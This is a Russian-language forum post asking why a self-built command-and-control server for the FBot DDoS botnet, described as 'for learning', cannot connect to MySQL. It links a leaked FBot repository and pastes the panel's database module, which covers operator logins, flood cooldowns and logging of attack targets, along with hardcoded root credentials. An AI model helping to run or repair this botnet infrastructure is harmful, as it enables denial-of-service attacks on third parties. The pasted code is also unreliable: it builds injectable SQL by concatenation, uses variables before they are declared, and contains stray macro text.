FBot ошибка с подключением MySQL
При попытке собрать cnc у ботнета FBot (Для процесса обучения) произошёл:
Started. terminate called after throwing an instance of 'sql::SQLException'
what(): Access denied for user 'ilnar'@'localhost' (using password: YES)
Aborted
#pragma once
#include <string>
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>
struct admin
{
char *user_ptr;
char *pass_ptr;
std::string username;
std::string password;
int fd;
int max_clients;
int max_time;
int cooldown;
int concurrent;
int disable;
int admin;
int authenticated;
};
#define MYSQL_HOST "0.0.0.0"
#define MYSQL_USERNAME "root"
#define MYSQL_PASSWORD "ilnar708"
#define MYSQL_DATABASE "botnet"
Пороли от баз полностью правильные. Однако он не подключается к базе данных. Может быть это связано с тем, что cnc на wsl. А база на windows?
Вот github от Fbot (leaked): https://github.com/rawbypa/FBot/tree/main (Может определить как вирус)
edit: mysql.cpp
#include <iostream>
#include <string.h>
#include <string>
#include <sstream>
#include <time.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <iostream>
#include "mysql.h"
#include "main.h"
#include "command.h"
using namespace std;
int mysql_login(struct admin *login)
{
cout << "Structing MySql Data.";
sql::Driver *driver;
sql::Connection *connection;
sql::Statement *statement;
sql::ResultSet *result;
char ret = FALSE;
driver = get_driver_instance();
connection = driver->connect(MYSQL_HOST, MYSQL_USERNAME, MYSQL_PASSWORD);
connection->setSchema(MYSQL_DATABASE);
statement = connection->createStatement();
result = statement->executeQuery("SELECT username,password FROM users");
while(result->next())
{
std::string u;
std::string p;
u = result->getString("username");
p = result->getString("password");
// Compare the pair and store
if(strcasestr(login->user_ptr, u.c_str()) && (strcasestr(login->pass_ptr, p.c_str())))
{
login->username = u.c_str();
login->password = p.c_str();
ret = TRUE;
break;
}
}
delete result;
delete statement;
delete connection;
return ret;
}
void mysql_set_restrictions(struct admin *login)
{
query << "SELECT * FROM users WHERE username=\"";
query << login->username;
query << "\""; MYSQL_HOST MYSQL_USERNAME MYSQL_PASSWORD
std::stringstream query;
statement = connection->createStatement();
result = statement->executeQuery(query.str().c_str());
while(result->next())
{
login->max_clients = result->getInt("max_clients");
login->max_time = result->getInt("max_time");
login->cooldown = result->getInt("cooldown");
login->concurrent = result->getInt("concurrent");
login->disable = result->getInt("disable");
login->admin = result->getInt("admin");
login->authenticated = result->getInt("authenticated");
}
delete result;
delete statement;
delete connection;
return;
}
void mysql_update_login(struct admin *login, int authenticated)
{
sql::Driver *driver;
sql::Connection *connection;
sql::Statement *statement;
sql::ResultSet *result;
std::stringstream query;
driver = get_driver_instance();
connection = driver->connect(MYSQL_HOST, MYSQL_USERNAME, MYSQL_PASSWORD);
connection->setSchema(MYSQL_DATABASE);
query << "UPDATE users SET authenticated=" << authenticated << " ";
query << "WHERE username=\"";
query << login->username;
query << "\"";
statement->execute(query.str().c_str());
delete statement;
delete connection;
return;
}
int mysql_allow_concurrent(int fd, std::string username, uint16_t t, int concurrent, int cooldown)
{
sql::Driver *driver;
sql::Connection *connection;
sql::Statement *statement;
sql::ResultSet *result;
std::stringstream query_stream;
std::stringstream fail_stream;
int ti = 0;
int ttl = 0;
if(concurrent)
return FALSE;
driver = get_driver_instance();
connection = driver->connect(MYSQL_HOST, MYSQL_USERNAME, MYSQL_PASSWORD);
connection->setSchema(MYSQL_DATABASE);
query_stream << "SELECT timestamp, time FROM log WHERE username=\"";
query_stream << username;
query_stream << "\" AND (timestamp + " << t << " + " << cooldown << ") > UNIX_TIMESTAMP()";
statement = connection->createStatement();
result = statement->executeQuery(query_stream.str().c_str());
if(!result->rowsCount())
{
delete result;
delete statement;
delete connection;
return FALSE;
}
while(result->next())
{
ti = result->getInt("timestamp");
}
ttl = (ti + t + cooldown) - time(NULL);
fail_stream << "Please wait " << ttl << " seconds before launching another command\r\n";
send(fd, fail_stream.str().c_str(), fail_stream.str().length(), MSG_NOSIGNAL);
delete result;
delete statement;
delete connection;
return TRUE;
}
void mysql_log(std::string username, int count, std::string flood, std::string target, uint16_t t)
{
sql::Driver *driver;
sql::Connection *connection;
sql::Statement *statement;
sql::ResultSet *result;
std::stringstream query_stream;
driver = get_driver_instance();
connection = driver->connect(MYSQL_HOST, MYSQL_USERNAME, MYSQL_PASSWORD);
connection->setSchema(MYSQL_DATABASE);
// Build the query for log
query_stream << "INSERT INTO log VALUES(NULL, \"";
query_stream << username;
query_stream << "\", \"";
query_stream << flood;
query_stream << "\", \"";
query_stream << target;
query_stream << "\", ";
query_stream << (!t ? 60 : t);
query_stream << ", ";
query_stream << (count == -1 ? client_count(count) : count);
query_stream << ", " << time(NULL) << ")";
statement = connection->createStatement();
statement->execute(query_stream.str().c_str());
delete statement;
delete connection;
}
void mysql_clear_login(void)
{
sql::Driver *driver;
sql::Connection *connection;
sql::Statement *statement;
sql::ResultSet *result;
driver = get_driver_instance();
connection = driver->connect(MYSQL_HOST, MYSQL_USERNAME, MYSQL_PASSWORD);
connection->setSchema(MYSQL_DATABASE);
statement = connection->createStatement();
statement->execute("UPDATE users SET authenticated=0 WHERE authenticated=1");
delete statement;
delete connection;
return;
}